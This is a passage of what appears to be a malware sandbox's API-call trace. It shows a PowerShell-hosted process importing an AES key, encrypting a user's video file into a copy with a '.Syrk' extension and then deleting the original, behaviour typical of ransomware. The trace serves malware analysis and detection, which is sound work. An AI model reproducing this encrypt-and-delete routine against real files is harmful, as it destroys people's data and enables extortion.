(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0261.844] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0261.844] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0261.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0261.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0261.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0261.845] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.845] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0261.845] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.845] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0261.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0261.846] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.846] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0261.846] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0261.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0261.846] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.846] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0261.846] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0261.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0261.846] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.846] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0261.847] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.847] EtwEventActivityIdControl () returned 0x0 [0261.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0261.847] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.847] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0261.847] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0261.850] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0261.854] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x244fa88*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99760) returned 1 [0261.854] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0261.854] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0261.855] EtwEventActivityIdControl () returned 0x0 [0261.855] EtwEventActivityIdControl () returned 0x0 [0261.855] EtwEventActivityIdControl () returned 0x0 [0261.861] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 0x20 [0261.862] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 0x20 [0261.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0261.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0261.864] EtwEventActivityIdControl () returned 0x0 [0261.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0261.865] EtwEventActivityIdControl () returned 0x0 [0261.865] EtwEventActivityIdControl () returned 0x0 [0261.865] EtwEventActivityIdControl () returned 0x0 [0261.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0261.932] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0261.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0261.932] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0261.933] GetFileType (hFile=0x364) returned 0x1 [0261.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0261.933] GetFileType (hFile=0x364) returned 0x1 [0261.933] EtwEventActivityIdControl () returned 0x0 [0261.933] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0261.933] EtwEventActivityIdControl () returned 0x0 [0261.933] EtwEventActivityIdControl () returned 0x0 [0261.934] EtwEventActivityIdControl () returned 0x0 [0261.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0261.935] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", lpFilePart=0x0) returned 0x2b [0261.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0261.935] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0262.131] GetFileType (hFile=0x368) returned 0x1 [0262.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0262.131] GetFileType (hFile=0x368) returned 0x1 [0262.132] EtwEventActivityIdControl () returned 0x0 [0262.135] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x245f66c | out: pbBuffer=0x245f66c) returned 1 [0262.136] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.137] CryptDuplicateKey (in: hKey=0x5c99760, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99620) returned 1 [0262.137] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.137] CryptSetKeyParam (hKey=0x5c99620, dwParam=0x4, pbData=0x2460998*=0x1, dwFlags=0x0) returned 1 [0262.137] CryptSetKeyParam (hKey=0x5c99620, dwParam=0x1, pbData=0x2460964, dwFlags=0x0) returned 1 [0262.138] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.139] EtwEventActivityIdControl () returned 0x0 [0262.139] EtwEventActivityIdControl () returned 0x0 [0262.140] EtwEventActivityIdControl () returned 0x0 [0262.144] EtwEventActivityIdControl () returned 0x0 [0262.145] ReadFile (in: hFile=0x364, lpBuffer=0x24635e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24635e0*, lpNumberOfBytesRead=0x5a2e7d8*=0x13d48, lpOverlapped=0x0) returned 1 [0262.157] CryptEncrypt (in: hKey=0x5c99620, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24775f8*, pdwDataLen=0x5a2e7cc*=0x13d40, dwBufLen=0x13d40 | out: pbData=0x24775f8*, pdwDataLen=0x5a2e7cc*=0x13d40) returned 1 [0262.159] WriteFile (in: hFile=0x368, lpBuffer=0x245f748*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x245f748*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0262.161] WriteFile (in: hFile=0x368, lpBuffer=0x24785e4*, nNumberOfBytesToWrite=0x12d54, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24785e4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x12d54, lpOverlapped=0x0) returned 1 [0262.163] ReadFile (in: hFile=0x364, lpBuffer=0x24635e0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24635e0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0262.163] CryptEncrypt (in: hKey=0x5c99620, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x248b344*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x248b344*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0262.163] CryptEncrypt (in: hKey=0x5c99620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x248b360*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x248b360*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0262.164] WriteFile (in: hFile=0x368, lpBuffer=0x245f748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x245f748*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0262.164] CloseHandle (hObject=0x368) returned 1 [0262.167] CloseHandle (hObject=0x364) returned 1 [0262.168] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.169] EtwEventActivityIdControl () returned 0x0 [0262.169] EtwEventActivityIdControl () returned 0x0 [0262.169] EtwEventActivityIdControl () returned 0x0 [0262.180] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 0x20 [0262.183] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0262.183] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0262.184] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.184] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.184] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0262.184] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0262.184] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.185] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.185] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0262.185] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0262.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0262.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0262.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0262.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0262.186] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 0x20 [0262.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0262.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0262.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0262.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0262.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0262.189] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0262.190] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0262.190] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0262.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0262.190] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0262.191] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0262.191] CoTaskMemFree (pv=0x3b0008) [0262.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 0x20 [0262.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0262.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi", lpFilePart=0x0) returned 0x26 [0262.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0262.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi"), fInfoLevelId=0x0, lpFileInformation=0x2495d4c | out: lpFileInformation=0x2495d4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21308c0, ftCreationTime.dwHighDateTime=0x1d99701, ftLastAccessTime.dwLowDateTime=0x4920afa0, ftLastAccessTime.dwHighDateTime=0x1d9981e, ftLastWriteTime.dwLowDateTime=0x4920afa0, ftLastWriteTime.dwHighDateTime=0x1d9981e, nFileSizeHigh=0x0, nFileSizeLow=0x13d48)) returned 1 [0262.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0262.196] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi")) returned 1 [0262.199] EtwEventActivityIdControl () returned 0x0 [0262.200] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.200] EtwEventActivityIdControl () returned 0x0 [0262.200] EtwEventActivityIdControl () returned 0x0 [0262.200] EtwEventActivityIdControl () returned 0x0 [0262.208] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi.syrk")) returned 0x20 [0262.209] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi.syrk")) returned 0x20 [0262.210] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0262.210] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk", lpFilePart=0x0) returned 0x2b [0262.211] EtwEventActivityIdControl () returned 0x0 [0262.211] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.212] EtwEventActivityIdControl () returned 0x0 [0262.212] EtwEventActivityIdControl () returned 0x0 [0262.212] EtwEventActivityIdControl () returned 0x0 [0262.220] EtwEventActivityIdControl () returned 0x0 [0262.220] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.221] EtwEventActivityIdControl () returned 0x0 [0262.221] EtwEventActivityIdControl () returned 0x0 [0262.221] EtwEventActivityIdControl () returned 0x0 [0262.225] EtwEventActivityIdControl () returned 0x0 [0262.225] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.227] EtwEventActivityIdControl () returned 0x0 [0262.227] EtwEventActivityIdControl () returned 0x0 [0262.227] EtwEventActivityIdControl () returned 0x0 [0262.231] EtwEventActivityIdControl () returned 0x0 [0262.231] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.231] EtwEventActivityIdControl () returned 0x0 [0262.232] EtwEventActivityIdControl () returned 0x0 [0262.232] EtwEventActivityIdControl () returned 0x0 [0262.235] EtwEventActivityIdControl () returned 0x0 [0262.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.236] EtwEventActivityIdControl () returned 0x0 [0262.236] EtwEventActivityIdControl () returned 0x0 [0262.236] EtwEventActivityIdControl () returned 0x0 [0262.240] EtwEventActivityIdControl () returned 0x0 [0262.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0262.248] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\YZQR06gE.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\yzqr06ge.avi.syrk"), fInfoLevelId=0x0, lpFileInformation=0x249ee70 | out: lpFileInformation=0x249ee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x179cb9f0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x179cb9f0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x17c06e90, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x13d64)) returned 1 [0262.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0262.251] GetConsoleOutputCP () returned 0x1b5 [0262.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.252] GetConsoleOutputCP () returned 0x1b5 [0262.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.252] GetConsoleOutputCP () returned 0x1b5 [0262.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.252] GetConsoleOutputCP () returned 0x1b5 [0262.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.253] GetConsoleOutputCP () returned 0x1b5 [0262.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.253] GetConsoleOutputCP () returned 0x1b5 [0262.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.253] GetConsoleOutputCP () returned 0x1b5 [0262.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.253] GetConsoleOutputCP () returned 0x1b5 [0262.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.254] GetConsoleOutputCP () returned 0x1b5 [0262.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.254] GetConsoleOutputCP () returned 0x1b5 [0262.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.254] GetConsoleOutputCP () returned 